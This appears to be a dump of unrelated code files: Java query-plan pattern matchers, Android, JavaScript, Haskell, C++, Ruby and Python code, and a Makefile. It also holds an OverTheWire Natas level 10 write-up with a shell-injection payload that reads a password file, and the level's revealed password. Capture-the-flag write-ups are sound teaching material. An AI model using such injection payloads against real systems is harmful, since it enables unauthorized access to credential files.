    public static Pattern<AssignUniqueId> assignUniqueId()
    {
        return typeOf(AssignUniqueId.class);
    }

    public static Pattern<AggregationNode> aggregation()
    {
        return typeOf(AggregationNode.class);
    }

    public static Pattern<ApplyNode> applyNode()
    {
        return typeOf(ApplyNode.class);
    }

    public static Pattern<DeleteNode> delete()
    {
        return typeOf(DeleteNode.class);
    }

    public static Pattern<ExchangeNode> exchange()
    {
        return typeOf(ExchangeNode.class);
    }

    public static Pattern<EnforceSingleRowNode> enforceSingleRow()
    {
        return typeOf(EnforceSingleRowNode.class);
    }

    public static Pattern<FilterNode> filter()
    {
        return typeOf(FilterNode.class);
    }

    public static Pattern<IndexSourceNode> indexSource()
    {
        return typeOf(IndexSourceNode.class);
    }

    public static Pattern<JoinNode> join()
    {
        return typeOf(JoinNode.class);
    }

    public static Pattern<SpatialJoinNode> spatialJoin()
    {
        return typeOf(SpatialJoinNode.class);
    }

    public static Pattern<LateralJoinNode> lateralJoin()
    {
        return typeOf(LateralJoinNode.class);
    }

    public static Pattern<OffsetNode> offset()
    {
        return typeOf(OffsetNode.class);
    }

    public static Pattern<LimitNode> limit()
    {
        return typeOf(LimitNode.class);
    }

    public static Pattern<MarkDistinctNode> markDistinct()
    {
        return typeOf(MarkDistinctNode.class);
    }

    public static Pattern<OutputNode> output()
    {
        return typeOf(OutputNode.class);
    }

    public static Pattern<ProjectNode> project()
    {
        return typeOf(ProjectNode.class);
    }

    public static Pattern<SampleNode> sample()
    {
        return typeOf(SampleNode.class);
    }

    public static Pattern<SemiJoinNode> semiJoin()
    {
        return typeOf(SemiJoinNode.class);
    }

    public static Pattern<SortNode> sort()
    {
        return typeOf(SortNode.class);
    }

    public static Pattern<TableFinishNode> tableFinish()
    {
        return typeOf(TableFinishNode.class);
    }

    public static Pattern<TableScanNode> tableScan()
    {
        return typeOf(TableScanNode.class);
    }

    public static Pattern<TableWriterNode> tableWriterNode()
    {
        return typeOf(TableWriterNode.class);
    }

    public static Pattern<TopNNode> topN()
    {
        return typeOf(TopNNode.class);
    }

    public static Pattern<UnionNode> union()
    {
        return typeOf(UnionNode.class);
    }

    public static Pattern<ValuesNode> values()
    {
        return typeOf(ValuesNode.class);
    }

    public static Pattern<WindowNode> window()
    {
        return typeOf(WindowNode.class);
    }

    public static Pattern<RowNumberNode> rowNumber()
    {
        return typeOf(RowNumberNode.class);
    }

    public static Pattern<DistinctLimitNode> distinctLimit()
    {
        return typeOf(DistinctLimitNode.class);
    }

    public static Pattern<IntersectNode> intersect()
    {
        return typeOf(IntersectNode.class);
    }

    public static Pattern<ExceptNode> except()
    {
        return typeOf(ExceptNode.class);
    }

    public static Property<PlanNode, Lookup, PlanNode> source()
    {
        return optionalProperty(
                "source",
                (node, lookup) -> {
                    if (node.getSources().size() == 1) {
                        PlanNode source = getOnlyElement(node.getSources());
                        return Optional.of(lookup.resolve(source));
                    }
                    return Optional.empty();
                });
    }

    public static Property<PlanNode, Lookup, List<PlanNode>> sources()
    {
        return property(
                "sources",
                (PlanNode node, Lookup lookup) -> node.getSources().stream()
                        .map(source -> lookup.resolve(source))
                        .collect(toImmutableList()));
    }

    public static class Aggregation
    {
        public static Property<AggregationNode, Lookup, List<Symbol>> groupingColumns()
        {
            return property("groupingKeys", AggregationNode::getGroupingKeys);
        }

        public static Property<AggregationNode, Lookup, AggregationNode.Step> step()
        {
            return property("step", AggregationNode::getStep);
        }
    }

    public static class Apply
    {
        public static Property<ApplyNode, Lookup, List<Symbol>> correlation()
        {
            return property("correlation", ApplyNode::getCorrelation);
        }
    }

    public static class Exchange
    {
        public static Property<ExchangeNode, Lookup, ExchangeNode.Scope> scope()
        {
            return property("scope", ExchangeNode::getScope);
        }
    }

    public static class Join
    {
        public static Property<JoinNode, Lookup, JoinNode.Type> type()
        {
            return property("type", JoinNode::getType);
        }
    }

    public static class LateralJoin
    {
        public static Property<LateralJoinNode, Lookup, List<Symbol>> correlation()
        {
            return property("correlation", LateralJoinNode::getCorrelation);
        }

        public static Property<LateralJoinNode, Lookup, PlanNode> subquery()
        {
            return property("subquery", LateralJoinNode::getSubquery);
        }

        public static Property<LateralJoinNode, Lookup, Expression> filter()
        {
            return property("filter", LateralJoinNode::getFilter);
        }
    }

    public static class Limit
    {
        public static Property<LimitNode, Lookup, Long> count()
        {
            return property("count", LimitNode::getCount);
        }
    }

    public static class Sample
    {
        public static Property<SampleNode, Lookup, Double> sampleRatio()
        {
            return property("sampleRatio", SampleNode::getSampleRatio);
        }

        public static Property<SampleNode, Lookup, SampleNode.Type> sampleType()
        {
            return property("sampleType", SampleNode::getSampleType);
        }
    }

    public static class TopN
    {
        public static Property<TopNNode, Lookup, TopNNode.Step> step()
        {
            return property("step", TopNNode::getStep);
        }

        public static Property<TopNNode, Lookup, Long> count()
        {
            return property("count", TopNNode::getCount);
        }
    }

    public static class Values
    {
        public static Property<ValuesNode, Lookup, List<List<Expression>>> rows()
        {
            return property("rows", ValuesNode::getRows);
        }
    }

    public static class SemiJoin
    {
        public static Property<SemiJoinNode, Lookup, PlanNode> getSource()
        {
            return property(
                    "source",
                    (SemiJoinNode semiJoin, Lookup lookup) -> lookup.resolve(semiJoin.getSource()));
        }

        public static Property<SemiJoinNode, Lookup, PlanNode> getFilteringSource()
        {
            return property(
                    "filteringSource",
                    (SemiJoinNode semiJoin, Lookup lookup) -> lookup.resolve(semiJoin.getFilteringSource()));
        }
    }
}


text:
module DebugExtras
  module ActionView
    def dump(object)
      Dumper.new(object, 'debug-dump').render
    end
  end
end


text:
package com.albedinsky.android.officium.event;

import android.support.annotation.NonNull;

import com.squareup.otto.Bus;

/**
 * An {@link EventBus} implementation that wraps {@link Bus} provided by the Otto
 * framework. Simple bus need to be created with an instance of Otto's bus via {@link #SimpleEventBus(Bus)}.
 * The wrapped bus may be than obtained via {@link #getBus()} if needed.
 *
 * @author Martin Albedinsky
 */
public class SimpleEventBus implements EventBus {

	/**
	 * Interface ===================================================================================
	 */

	/**
	 * Constants ===================================================================================
	 */

	/**
	 * Log TAG.
	 */
	// private static final String TAG = "SimpleEventBus";

	/**
	 * Static members ==============================================================================
	 */

	/**
	 * Members =====================================================================================
	 */

	/**
	 * The bus used by this event bus wrapper.
	 */
	protected final Bus mBus;

	/**
	 * Constructors ================================================================================
	 */

	/**
	 * Same as {@link #SimpleEventBus(Bus)} with default instance of {@link Bus}.
	 */
	public SimpleEventBus() {
		this(new Bus());
	}

	/**
	 * Creates a new instance of SimpleEventBus that wraps the specified <var>bus</var>.
	 *
	 * @param bus The bus to be wrapped.
	 * @see #getBus()
	 */
	public SimpleEventBus(@NonNull Bus bus) {
		this.mBus = bus;
	}

	/**
	 * Methods =====================================================================================
	 */

	/**
	 * Returns the original bus wrapped.
	 *
	 * @return Bus wrapped by this event bus wrapper.
	 * @see #SimpleEventBus(Bus)
	 */
	@NonNull
	public final Bus getBus() {
		return mBus;
	}

	/**
	 * Delegates to {@link Bus#register(Object)}.
	 */
	@Override
	public void register(@NonNull Object object) {
		mBus.register(object);
	}

	/**
	 * Delegates to {@link Bus#unregister(Object)}.
	 */
	@Override
	public void unregister(@NonNull Object object) {
		mBus.unregister(object);
	}

	/**
	 * Delegates to {@link Bus#post(Object)}.
	 */
	@Override
	public void post(@NonNull Object event) {
		mBus.post(event);
	}

	/**
	 * Inner classes ===============================================================================
	 */
}


text:
import {setImmediate, clearImmediate} from './setimmediate';
export {setImmediate, clearImmediate};
// DOM APIs, for completeness
var apply = Function.prototype.apply;

export function clearInterval(timeout) {
  if (typeof timeout === 'number' && typeof global.clearInterval === 'function') {
    global.clearInterval(timeout);
  } else {
    clearFn(timeout)
  }
}
export function clearTimeout(timeout) {
  if (typeof timeout === 'number' && typeof global.clearTimeout === 'function') {
    global.clearTimeout(timeout);
  } else {
    clearFn(timeout)
  }
}
function clearFn(timeout) {
  if (timeout && typeof timeout.close === 'function') {
    timeout.close();
  }
}
export function setTimeout() {
  return new Timeout(apply.call(global.setTimeout, window, arguments), clearTimeout);
}
export function setInterval() {
  return new Timeout(apply.call(global.setInterval, window, arguments), clearInterval);
}

function Timeout(id) {
  this._id = id;
}
Timeout.prototype.unref = Timeout.prototype.ref = function() {};
Timeout.prototype.close = function() {
  clearFn(this._id);
}

// Does not start the time, just sets up the members needed.
export function enroll(item, msecs) {
  clearTimeout(item._idleTimeoutId);
  item._idleTimeout = msecs;
}

export function unenroll(item) {
  clearTimeout(item._idleTimeoutId);
  item._idleTimeout = -1;
}
export var _unrefActive = active;
export function active(item) {
  clearTimeout(item._idleTimeoutId);

  var msecs = item._idleTimeout;
  if (msecs >= 0) {
    item._idleTimeoutId = setTimeout(function onTimeout() {
      if (item._onTimeout)
        item._onTimeout();
    }, msecs);
  }
}

export default {
  setImmediate: setImmediate,
  clearImmediate: clearImmediate,
  setTimeout: setTimeout,
  clearTimeout: clearTimeout,
  setInterval: setInterval,
  clearInterval: clearInterval,
  active: active,
  unenroll: unenroll,
  _unrefActive: _unrefActive,
  enroll: enroll
};


text:
{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE RecordWildCards #-}
{-# LANGUAGE StrictData #-}
{-# LANGUAGE TupleSections #-}

-- | http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-amazonmq-configurationassociation.html

module Stratosphere.Resources.AmazonMQConfigurationAssociation where

import Stratosphere.ResourceImports
import Stratosphere.ResourceProperties.AmazonMQConfigurationAssociationConfigurationId

-- | Full data type definition for AmazonMQConfigurationAssociation. See
-- 'amazonMQConfigurationAssociation' for a more convenient constructor.
data AmazonMQConfigurationAssociation =
  AmazonMQConfigurationAssociation
  { _amazonMQConfigurationAssociationBroker :: Val Text
  , _amazonMQConfigurationAssociationConfiguration :: AmazonMQConfigurationAssociationConfigurationId
  } deriving (Show, Eq)

instance ToResourceProperties AmazonMQConfigurationAssociation where
  toResourceProperties AmazonMQConfigurationAssociation{..} =
    ResourceProperties
    { resourcePropertiesType = "AWS::AmazonMQ::ConfigurationAssociation"
    , resourcePropertiesProperties =
        hashMapFromList $ catMaybes
        [ (Just . ("Broker",) . toJSON) _amazonMQConfigurationAssociationBroker
        , (Just . ("Configuration",) . toJSON) _amazonMQConfigurationAssociationConfiguration
        ]
    }

-- | Constructor for 'AmazonMQConfigurationAssociation' containing required
-- fields as arguments.
amazonMQConfigurationAssociation
  :: Val Text -- ^ 'amqcaBroker'
  -> AmazonMQConfigurationAssociationConfigurationId -- ^ 'amqcaConfiguration'
  -> AmazonMQConfigurationAssociation
amazonMQConfigurationAssociation brokerarg configurationarg =
  AmazonMQConfigurationAssociation
  { _amazonMQConfigurationAssociationBroker = brokerarg
  , _amazonMQConfigurationAssociationConfiguration = configurationarg
  }

-- | http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-amazonmq-configurationassociation.html#cfn-amazonmq-configurationassociation-broker
amqcaBroker :: Lens' AmazonMQConfigurationAssociation (Val Text)
amqcaBroker = lens _amazonMQConfigurationAssociationBroker (\s a -> s { _amazonMQConfigurationAssociationBroker = a })

-- | http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-amazonmq-configurationassociation.html#cfn-amazonmq-configurationassociation-configuration
amqcaConfiguration :: Lens' AmazonMQConfigurationAssociation AmazonMQConfigurationAssociationConfigurationId
amqcaConfiguration = lens _amazonMQConfigurationAssociationConfiguration (\s a -> s { _amazonMQConfigurationAssociationConfiguration = a })


text:
.PHONY:	build push

STAGING_REGISTRY?=gcr.io/k8s-staging-build-image
PROD_REGISTRY?=us.gcr.io/k8s-artifacts-prod/build-image
IMAGE=kube-cross

TAG?=kubernetes-$(shell git describe --tags --match='v*' --abbrev=14)
KUBE_CROSS_VERSION=$(shell cat VERSION)

all: build push

build:
	docker build \
		-t $(STAGING_REGISTRY)/$(IMAGE):$(TAG) \
		-t $(STAGING_REGISTRY)/$(IMAGE):$(KUBE_CROSS_VERSION) \
		-t $(PROD_REGISTRY)/$(IMAGE):$(KUBE_CROSS_VERSION) \
		.

push:
	docker push $(STAGING_REGISTRY)/$(IMAGE):$(TAG)
	docker push $(STAGING_REGISTRY)/$(IMAGE):$(KUBE_CROSS_VERSION)


text:
package com.abusalimov.mrcalc.backend.impl.exprfunc;

import com.abusalimov.mrcalc.backend.NumberMath;

/**
 * Implements operations common for numeric expressions.
 *
 * @author Eldar Abusalimov
 */
public abstract class AbstractFuncNumberMath<T extends Number> implements NumberMath<T, Func<T>> {
    @Override
    public Func<T> constant(T literal) {
        return (runtime, args) -> literal;
    }
}


text:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="horizontal" >

    <ImageView
        android:id="@+id/objicon"
        android:layout_width="40dp"
        android:layout_height="40dp"
        android:contentDescription="@string/descImage"
        />
    <TextView
        android:id="@+id/objname"
        android:layout_width="wrap_content"
        android:layout_height="30dp"
        />

</LinearLayout>


text:
layout: post
title:  "OverTheWire Wargames :: Natas :: Level 10"
date:   2015-09-19
---

[OverTheWire: Natas](http://overthewire.org/wargames/natas/)

## Level 10 > Level 11

![natas10-01](/img/otw-natas/natas10-01.png)

Source...

```
 <html>
[...]
<body>
<h1>natas10</h1>
<div id="content">

For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>

Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
```

Same as the previous challenge but now we are forbidden to use a semicolon, pipe, or ampersand.

In this case, instead of breaking out of the command we'll try to craft it to do what we want itself. By using a comment character we can eliminate dictionary.txt and insert our own choice of file. To be sure it will match, we'll search for any letter or number.

Our injection...

```
[a-z0-9] /etc/natas_webpass/natas11 #
```

The command as executed by the system...

```
grep -i [a-z0-9] /etc/natas_webpass/natas11 # dictionary.txt
```

Sweet.

![natas10-02](/img/otw-natas/natas10-02.png)

U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK


text:
<!DOCTYPE html>

    <meta charset="utf-8">
    <title>FSIHelper - FAKE - F# Make</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="Steffen Forkmann, Mauricio Scheffer, Colin Bull">

    <link href="https://netdna.bootstrapcdn.com/twitter-bootstrap/2.2.1/css/bootstrap-combined.min.css" rel="stylesheet">

    <link type="text/css" rel="stylesheet" href="http://fsharp.github.io/FAKE/content/style.css" />

fsharp.org

github page

FAKE - F# Make

FSIHelper

Contains helper functions which allow to interact with the F# Interactive.

Nested types and modules

Type	Description

            FsiArgs

            Script

Functions and values

Function or value	Description

            createDirectiveRegex id

            Signature: id:string -> Regex

            executeBuildScriptWithArgsAndReturnMessages (...)

            Signature: script:string -> scriptArgs:string [] -> useCache:bool -> cleanCache:bool -> bool * ConsoleMessage list

Run the given buildscript with fsi.exe and allows for extra arguments to the script. Returns output.

            executeFSI workingDirectory script env

            Signature: workingDirectory:string -> script:string -> env:seq<string * string> -> bool * seq<ConsoleMessage>

Run the given buildscript with fsi.exe

            executeFSIWithArgs (...)

            Signature: workingDirectory:string -> script:string -> extraFsiArgs:string list -> env:seq<string * string> -> bool

Run the given build script with fsi.exe and allows for extra arguments to FSI.

            executeFSIWithScriptArgsAndReturnMessages (...)

            Signature: script:string -> scriptArgs:string [] -> bool * seq<ConsoleMessage>

Run the given build script with fsi.exe and allows for extra arguments to the script. Returns output.

            fsiPath

            Signature: string

The path to the F# Interactive tool.

            fsiStartInfo (...)

            Signature: script:string -> workingDirectory:string -> env:seq<string * string> -> info:ProcessStartInfo -> unit

Creates a ProcessStartInfo which is configured to the F# Interactive.

            getAllScriptContents pathsAndContents

            Signature: pathsAndContents:seq<Script> -> seq<string>

            getAllScripts scriptPath

            Signature: scriptPath:string -> seq<Script>

            getIncludedAssembly scriptContents

            Signature: scriptContents:string -> seq<string>

            getScriptHash pathsAndContents

            Signature: pathsAndContents:seq<Script> -> string

            getSearchPaths scriptContents

            Signature: scriptContents:string -> seq<string>

            hashRegex

            Signature: Regex

            loadRegex

            Signature: Regex

            rAssemblyRegex

            Signature: Regex

            runBuildScript (...)

            Signature: printDetails:bool -> script:string -> extraFsiArgs:string list -> env:seq<string * string> -> useCache:bool -> cleanCache:bool -> bool

Run the given buildscript with fsi.exe

            runBuildScriptAt (...)

            Signature: printDetails:bool -> script:string -> extraFsiArgs:string list -> env:seq<string * string> -> useCache:bool -> cleanCache:bool -> bool

Run the given buildscript with fsi.exe at the given working directory.

            runBuildScriptWithFsiArgsAt (...)

            Signature: printDetails:bool -> FsiArgs -> env:seq<string * string> -> useCache:bool -> cleanCache:bool -> bool

Run the given buildscript with fsi.exe at the given working directory.  Provides full access to Fsi options and args.

            searchPathRegex

            Signature: Regex

FAKE - F# Make

Home page

Get FAKE - F# Make via NuGet

Source Code on GitHub

License (Apache 2)

Release Notes

Contributing to FAKE - F# Make

Who is using FAKE?

Ask a question

Tutorials

Getting started

Build script caching

NuGet package restore

Using FxCop in a build

Generating AssemblyInfo

Create NuGet packages

Running specific targets

Running FAKE from command line

Running targets in parallel

Using the F# compiler from FAKE

Creating custom tasks

Soft dependencies

TeamCity integration

Running canopy tests

Octopus Deploy

TypeScript support

Azure WebJobs support

Azure Cloud Services support

FluentMigrator support

Android publisher

File Watcher

Fake.Deploy

Fake.IIS

Reference

API Reference


text:
[![Build Status](https://travis-ci.org/neoziro/express-err.svg?branch=master)](https://travis-ci.org/neoziro/express-err)
[![Dependency Status](https://david-dm.org/neoziro/express-err.svg?theme=shields.io)](https://david-dm.org/neoziro/express-err)
[![devDependency Status](https://david-dm.org/neoziro/express-err/dev-status.svg?theme=shields.io)](https://david-dm.org/neoziro/express-err#info=devDependencies)

Basic error handler for express.
This middleware shows errors according to the "Accept" header. It will shutdown app in case of uncaught error.

## Install

```
yarn add express-err
```

## Usage

```js
import express from 'express'
import errorHandler, { httpError } from 'express-err'

const app = express()

// Basic route.
app.get('/', (req, res) => {
  res.send('Hello world!')
})

// Redirect other routes to 404.
app.use(httpError(404))

// Handle errors.
app.use(errorHandler())
```

## errorHandler(options)

The error handler middleware is used to display errors and shutdown app in case of uncaught error.

The avalaible options are:

### exitOnUncaughtException

Tell to the process to exit on uncaught exceptions. Defaults to `true`.

```js
app.use(errorHandler({ exitOnUncaughtException: false }))
```

### exitCode

The code used to exit app in case of uncaught exception. Defaults to `1`.

```js
app.use(errorHandler({ exitCode: 2 }))
```

### defaultStatusCode

The default HTTP error code. Defaults to `500`.

```js
app.use(errorHandler({ status: 503 }))
```

### formatters

The error handler come with some preconfigured formatters, one for "json", "text" and "html".
It's possible to provide your own formatters:

```js
import { text } from 'express-err/lib/formatters'

app.use(
  errorHandler({
    formatters: {
      json(err, req, res, next) {
        res.send({ error: true })
      },
      default: text,
    },
  }),
)
```

## httpError(status, [message])

You can use httpError to return a custom error with a status and a message, if you don't provide a message, it will automatically use the HTTP status.

```js
import { httpError } from 'express-err'

app.use(httpError(404))
```

## new HttpError(status, [message])

You can create a custom HttpError with a status and a message, if you don't provide a message, it will automatically use the HTTP status.

```js
import { HttpError } from 'express-err'

app.use((req, res, next) => {
  next(new HttpError(404, 'Bad way'))
})
```

## License

MIT


text:
package openblocks.enchantments.flimflams;

import java.util.Random;

import net.minecraft.entity.player.EntityPlayerMP;
import net.minecraft.entity.projectile.EntitySnowball;
import net.minecraft.world.World;
import openblocks.api.IFlimFlamAction;

public class SnowballsFlimFlam implements IFlimFlamAction {

	private static final Random RANDOM = new Random();

	@Override
	public boolean execute(EntityPlayerMP target) {
		final World world = target.worldObj;
		for (int i = 0; i < 200; i++) {
			EntitySnowball snowball = new EntitySnowball(world, target.posX, target.posY + 4, target.posZ);
			snowball.motionX = RANDOM.nextGaussian() * 0.05;
			snowball.motionY = 1;
			snowball.motionZ = RANDOM.nextGaussian() * 0.05;

			world.spawnEntityInWorld(snowball);
		}

		return true;
	}
}


text:
// connect.h
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
//
// \file
// Classes and functions to remove unsuccessful paths from an Fst.

#ifndef FST_LIB_CONNECT_H__
#define FST_LIB_CONNECT_H__

#include "fst/lib/mutable-fst.h"

namespace fst {

// Finds and returns strongly-connected components, accessible and
// coaccessible states and related properties. Uses Tarzan's single
// DFS SCC algorithm (see Aho, et al, "Design and Analysis of Computer
// Algorithms", 189pp).
template <class A>
class SccVisitor {
 public:
  typedef A Arc;
  typedef typename Arc::Weight Weight;
  typedef typename A::StateId StateId;

  // scc[i]: strongly-connected component number for state i.
  //   SCC numbers will be in topological order for acyclic input.
  // access[i]: accessibility of state i.
  // coaccess[i]: coaccessibility of state i.
  // Any of above can be NULL.
  // props: related property bits (cyclicity, initial cyclicity,
  //   accessibiliity, coaccessiblity) set/cleared (o.w. unchanged).
  SccVisitor(vector<StateId> *scc, vector<bool> *access,
             vector<bool> *coaccess, uint64 *props)
      : scc_(scc), access_(access), coaccess_(coaccess), props_(props) {}
  SccVisitor(uint64 *props)
      : scc_(0), access_(0), coaccess_(0), props_(props) {}

  void InitVisit(const Fst<A> &fst) {
    if (scc_)
      scc_->clear();
    if (access_)
      access_->clear();
    if (coaccess_) {
      coaccess_->clear();
      coaccess_internal_ = false;
    } else {
      coaccess_ = new vector<bool>;
      coaccess_internal_ = true;
    }
    *props_ |= kAcyclic | kInitialAcyclic | kAccessible | kCoAccessible;
    *props_ &= ~(kCyclic | kInitialCyclic | kNotAccessible | kNotCoAccessible);
    fst_ = &fst;
    start_ = fst.Start();
    nstates_ = 0;
    nscc_ = 0;
    dfnumber_ = new vector<StateId>;
    lowlink_ = new vector<StateId>;
    onstack_ = new vector<bool>;
    scc_stack_ = new vector<StateId>;
  }

  bool InitState(StateId s, StateId root) {
    scc_stack_->push_back(s);
    while ((StateId)dfnumber_->size() <= s) {
      if (scc_)
        scc_->push_back(-1);
      if (access_)
        access_->push_back(false);
      coaccess_->push_back(false);
      dfnumber_->push_back(-1);
      lowlink_->push_back(-1);
      onstack_->push_back(false);
    }
    (*dfnumber_)[s] = nstates_;
    (*lowlink_)[s] = nstates_;
    (*onstack_)[s] = true;
    if (root == start_) {
      if (access_)
        (*access_)[s] = true;
    } else {
      if (access_)
        (*access_)[s] = false;
      *props_ |= kNotAccessible;
      *props_ &= ~kAccessible;
    }
    ++nstates_;
    return true;
  }

  bool TreeArc(StateId s, const A &arc) { return true; }

  bool BackArc(StateId s, const A &arc) {
    StateId t = arc.nextstate;
    if ((*dfnumber_)[t] < (*lowlink_)[s])
      (*lowlink_)[s] = (*dfnumber_)[t];
    if ((*coaccess_)[t])
      (*coaccess_)[s] = true;
    *props_ |= kCyclic;
    *props_ &= ~kAcyclic;
    if (arc.nextstate == start_) {
      *props_ |= kInitialCyclic;
      *props_ &= ~kInitialAcyclic;
    }
    return true;
  }

  bool ForwardOrCrossArc(StateId s, const A &arc) {
    StateId t = arc.nextstate;
    if ((*dfnumber_)[t] < (*dfnumber_)[s] /* cross edge */ &&
        (*onstack_)[t] && (*dfnumber_)[t] < (*lowlink_)[s])
      (*lowlink_)[s] = (*dfnumber_)[t];
    if ((*coaccess_)[t])
      (*coaccess_)[s] = true;
    return true;
  }

  void FinishState(StateId s, StateId p, const A *) {
    if (fst_->Final(s) != Weight::Zero())
      (*coaccess_)[s] = true;
    if ((*dfnumber_)[s] == (*lowlink_)[s]) {  // root of new SCC
      bool scc_coaccess = false;
      size_t i = scc_stack_->size();
      StateId t;
      do {
        t = (*scc_stack_)[--i];
        if ((*coaccess_)[t])
          scc_coaccess = true;
      } while (s != t);
      do {
        t = scc_stack_->back();
        if (scc_)
          (*scc_)[t] = nscc_;
        if (scc_coaccess)
          (*coaccess_)[t] = true;
        (*onstack_)[t] = false;
        scc_stack_->pop_back();
      } while (s != t);
      if (!scc_coaccess) {
        *props_ |= kNotCoAccessible;
        *props_ &= ~kCoAccessible;
      }
      ++nscc_;
    }
    if (p != kNoStateId) {
      if ((*coaccess_)[s])
        (*coaccess_)[p] = true;
      if ((*lowlink_)[s] < (*lowlink_)[p])
        (*lowlink_)[p] = (*lowlink_)[s];
    }
  }

  void FinishVisit() {
    // Numbers SCC's in topological order when acyclic.
    if (scc_)
      for (StateId i = 0; i < (StateId)scc_->size(); ++i)
        (*scc_)[i] = nscc_ - 1 - (*scc_)[i];
    if (coaccess_internal_)
      delete coaccess_;
    delete dfnumber_;
    delete lowlink_;
    delete onstack_;
    delete scc_stack_;
  }

 private:
  vector<StateId> *scc_;        // State's scc number
  vector<bool> *access_;        // State's accessibility
  vector<bool> *coaccess_;      // State's coaccessibility
  uint64 *props_;
  const Fst<A> *fst_;
  StateId start_;
  StateId nstates_;             // State count
  StateId nscc_;                // SCC count
  bool coaccess_internal_;
  vector<StateId> *dfnumber_;   // state discovery times
  vector<StateId> *lowlink_;    // lowlink[s] == dfnumber[s] => SCC root
  vector<bool> *onstack_;       // is a state on the SCC stack
  vector<StateId> *scc_stack_;  // SCC stack (w/ random access)
};

// Trims an FST, removing states and arcs that are not on successful
// paths. This version modifies its input.
//
// Complexity:
// - Time:  O(V + E)
// - Space: O(V + E)
// where V = # of states and E = # of arcs.
template<class Arc>
void Connect(MutableFst<Arc> *fst) {
  typedef typename Arc::StateId StateId;

  vector<bool> access;
  vector<bool> coaccess;
  uint64 props = 0;
  SccVisitor<Arc> scc_visitor(0, &access, &coaccess, &props);
  DfsVisit(*fst, &scc_visitor);
  vector<StateId> dstates;
  for (StateId s = 0; s < (StateId)access.size(); ++s)
    if (!access[s] || !coaccess[s])
      dstates.push_back(s);
  fst->DeleteStates(dstates);
  fst->SetProperties(kAccessible | kCoAccessible, kAccessible | kCoAccessible);
}

}  // namespace fst

#endif  // FST_LIB_CONNECT_H__


text:
class CreateArticles < ActiveRecord::Migration[5.1]
  def change
    create_table :articles do |t|
      t.string :title
      t.text :text

      t.timestamps
    end
    add_index :articles, :title
    add_index :articles, :text
  end
end


text:
import math

def waves(period, amplitude):
	def _waves(i, j):
		return (i + amplitude*math.sin((2*math.pi*j)/period), j)
	return _waves


text:
"""Waveform extraction."""

#------------------------------------------------------------------------------
# Imports
#------------------------------------------------------------------------------

import numpy as np
from scipy.interpolate import interp1d

from ..utils._types import _as_array, Bunch
from ..utils.array import _pad
from ..utils.logging import warn

#------------------------------------------------------------------------------
# Waveform extractor from a connected component
#------------------------------------------------------------------------------

def _get_padded(data, start, end):
    """Return `data[start:end]` filling in with zeros outside array bounds

    Assumes that either `start<0` or `end>len(data)` but not both.

    """
    if start < 0 and end >= data.shape[0]:
        raise RuntimeError()
    if start < 0:
        start_zeros = np.zeros((-start, data.shape[1]),
                               dtype=data.dtype)
        return np.vstack((start_zeros, data[:end]))
    elif end > data.shape[0]:
        end_zeros = np.zeros((end - data.shape[0], data.shape[1]),
                             dtype=data.dtype)
        return np.vstack((data[start:], end_zeros))
    else:
        return data[start:end]

class WaveformExtractor(object):
    """Extract waveforms after data filtering and spike detection."""
    def __init__(self,
                 extract_before=None,
                 extract_after=None,
                 weight_power=None,
                 thresholds=None,
                 channels_per_group=None,
                 ):
        self._extract_before = extract_before
        self._extract_after = extract_after
        self._weight_power = weight_power if weight_power is not None else 1.
        self._thresholds = thresholds or {}
        self._channels_per_group = channels_per_group
        # mapping channel => channels in the shank
        self._dep_channels = {i: channels
                              for channels in channels_per_group.values()
                              for i in channels}
        self._channel_groups = {i: g
                                for g, channels in channels_per_group.items()
                                for i in channels}

    def _component(self, component, data=None, n_samples=None):
        comp_s = component[:, 0]  # shape: (component_size,)
        comp_ch = component[:, 1]  # shape: (component_size,)
        channel = comp_ch[0]
        if channel not in self._dep_channels:
            raise RuntimeError("Channel `{}` appears to be dead and should "
                               "have been excluded from the threshold "
                               "crossings.".format(channel))
        channels = self._dep_channels[channel]
        group = self._channel_groups[comp_ch[0]]

        # Get the temporal window around the waveform.
        s_min, s_max = (comp_s.min() - 3), (comp_s.max() + 4)
        s_min = max(s_min, 0)
        s_max = min(s_max, n_samples)
        assert s_min < s_max

        return Bunch(comp_s=comp_s,
                     comp_ch=comp_ch,
                     s_min=s_min,
                     s_max=s_max,
                     channels=channels,
                     group=group,
                     )

    def _normalize(self, x):
        x = _as_array(x)
        tw = self._thresholds['weak']
        ts = self._thresholds['strong']
        return np.clip((x - tw) / (ts - tw), 0, 1)

    def _comp_wave(self, data_t, comp):
        comp_s, comp_ch = comp.comp_s, comp.comp_ch
        s_min, s_max = comp.s_min, comp.s_max
        nc = data_t.shape[1]
        # Data on weak threshold crossings. shape: (some_length, nc)
        wave = np.zeros((s_max - s_min, nc), dtype=data_t.dtype)
        # The sample where the peak is reached, on each channel.
        wave[comp_s - s_min, comp_ch] = data_t[comp_s, comp_ch]
        return wave

    def masks(self, data_t, wave, comp):
        nc = data_t.shape[1]
        channels = comp.channels
        comp_ch = comp.comp_ch
        s_min = comp.s_min

        # Binary mask. shape: (nc,)
        masks_bin = np.zeros(nc, dtype=np.bool)
        masks_bin[np.unique(comp_ch)] = 1

        # Find the peaks (relative to the start of the chunk). shape: (nc,)
